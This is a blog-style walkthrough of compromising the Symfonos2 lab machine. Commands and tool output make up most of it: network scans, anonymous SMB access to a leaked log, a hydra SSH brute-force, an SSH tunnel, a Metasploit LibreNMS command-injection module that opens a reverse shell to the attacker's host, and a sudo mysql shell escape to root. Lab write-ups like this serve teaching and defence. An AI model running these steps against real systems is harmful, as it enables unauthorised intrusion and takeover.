October 28, 2026
I Broke Into a Server Through a Painting on the Wall
From a static image, to a leaked log file, to root, in about an hour
By Amaima
4 min read
A walkthrough of rooting Symfonos2
From a static image, to a leaked log file, to root, in about an hour
Every vulnerable machine tells you a story if you know how to read it. Symfonos2 tells a particularly good one: it starts with a server that looks completely empty, and ends with a sudo misconfiguration handing over the keys to the whole box. In between, there's a leaked file, a reused password, and a hidden service that was never supposed to be reachable in the first place.
Finding the target
First things first — find the machine on the network. Rather than a plain ping sweep (which can be unreliable if ICMP is filtered), I ran a full service-detection scan across the whole subnet in one shot:
sudo nmap -sV 192.168.89.0/24sudo nmap -sV 192.168.89.0/24One host answered with a Samba banner naming itself SYMFONOS2. Target acquired.
The empty house
A full port scan turned up the usual suspects: FTP, SSH, HTTP, and SMB.
sudo nmap -p- -sV -sC -T4 192.168.89.141sudo nmap -p- -sV -sC -T4 192.168.89.141
Port 80 looked promising — until it wasn't. Visiting it in a browser loaded a single, slightly dramatic Baroque-style painting filling the whole screen. No login form, no app, nothing to click. A directory brute-force with gobuster confirmed it: there was nothing else there.
The web server was a decoy. Sometimes the most obvious door on a house is bricked up, and the real way in is around the back.
So I went around the back.
The unlocked back door
Port 445 meant SMB — Windows-style file sharing, running on this Linux box via Samba. Listing the shares without any credentials at all:
smbclient -L 192.168.89.141 -Nsmbclient -L 192.168.89.141 -N
There it was: a share literally named anonymous, fully readable with no login required. Inside, a backups folder held a single file: log.txt.
What was in it changed everything.
smb: \backups\> get log.txt
cat log.txtsmb: \backups\> get log.txt
cat log.txt
Someone had accidentally backed up root's own terminal history into a world-readable share. It showed a command backing up /etc/shadow, and it exposed the full Samba configuration file — which named a real system account: aeolus.
A misconfigured file share had just handed me a username. Now I needed a password.
Knock, knock
With a known account and SSH open, a targeted brute-force was the obvious next move:
hydra -l aeolus -P ./custom_rockyou.txt -t 4 192.168.89.141 sshhydra -l aeolus -P ./custom_rockyou.txt -t 4 192.168.89.141 ssh
Seconds later: aeolus : sergioteamo. In I went.
ssh aeolus@192.168.89.141ssh aeolus@192.168.89.141
First foothold secured. But aeolus turned out to be a nobody — no sudo rights, nothing interesting in the home directory. A dead end, on the surface.
The service that wasn't supposed to be there
Here's the thing about being on a machine instead of just scanning it from outside: you can see things the outside world can't.
ss -tulnpss -tulnp
Buried in the output was a service bound only to 127.0.0.1:8080 — the machine talking to itself. It had never shown up in the earlier external scan, because it was never meant to be reached from outside. But "outside" wasn't where I was standing anymore.
An SSH tunnel brought it straight to my own machine:
ssh -L 8081:127.0.0.1:8080 aeolus@192.168.89.141ssh -L 8081:127.0.0.1:8080 aeolus@192.168.89.141
And there it was in the browser — a full LibreNMS network-monitoring install, quietly running where nobody from the outside could ever have found it.
The same aeolus / sergioteamo combo logged straight in. (Password reuse: still undefeated as the number one way attackers move sideways through a network.)
Teaching LibreNMS a new trick
This particular version of LibreNMS has a known soft spot: its "add a monitored host" feature doesn't sanitize its input properly, which means a crafted hostname can smuggle a command straight to the underlying shell.
msfconsole
use exploit/linux/http/librenms_addhost_cmd_inject
set RHOSTS 127.0.0.1
set RPORT 8081
set USERNAME aeolus
set PASSWORD sergioteamo
set LHOST 192.168.89.137
set LPORT 4444
runmsfconsole
use exploit/linux/http/librenms_addhost_cmd_inject
set RHOSTS 127.0.0.1
set RPORT 8081
set USERNAME aeolus
set PASSWORD sergioteamo
set LHOST 192.168.89.137
set LPORT 4444
run
A second user, cronus, materialized out of the LibreNMS process itself. New user, new privileges to check.
The one line that ends it all
sudo -lsudo -l
And there's the whole game, in one line: cronus could run /usr/bin/mysql as root, no password needed.
That sounds almost harmless — until you remember that the MySQL client has a built-in escape hatch. Typing ! inside a mysql session drops you straight into a system shell. And since mysql itself was running as root…
sudo mysql -e '\! /bin/sh'sudo mysql -e '\! /bin/sh'
whoami came back root. The box was fully owned, start to finish, in one continuous chain: a leaked file → a cracked password → a hidden service → a web exploit → a sudo misconfiguration.
What actually went wrong here
Strip away the fun and this is a very ordinary story, which is exactly why it's worth telling:
- A backup file was left somewhere it should never have been readable. One misplaced log turned into the opening move of the entire attack.
- One password did double duty across SSH and a web application, so cracking it once was cracking it twice.
- "Internal only" isn't the same as "safe." A service bound to localhost is still reachable by anyone who's already inside — and in a real breach, someone eventually is.
- A single sudo line undid everything else. Passwordless, unrestricted access to a binary with a built-in shell escape is effectively a root backdoor with extra steps.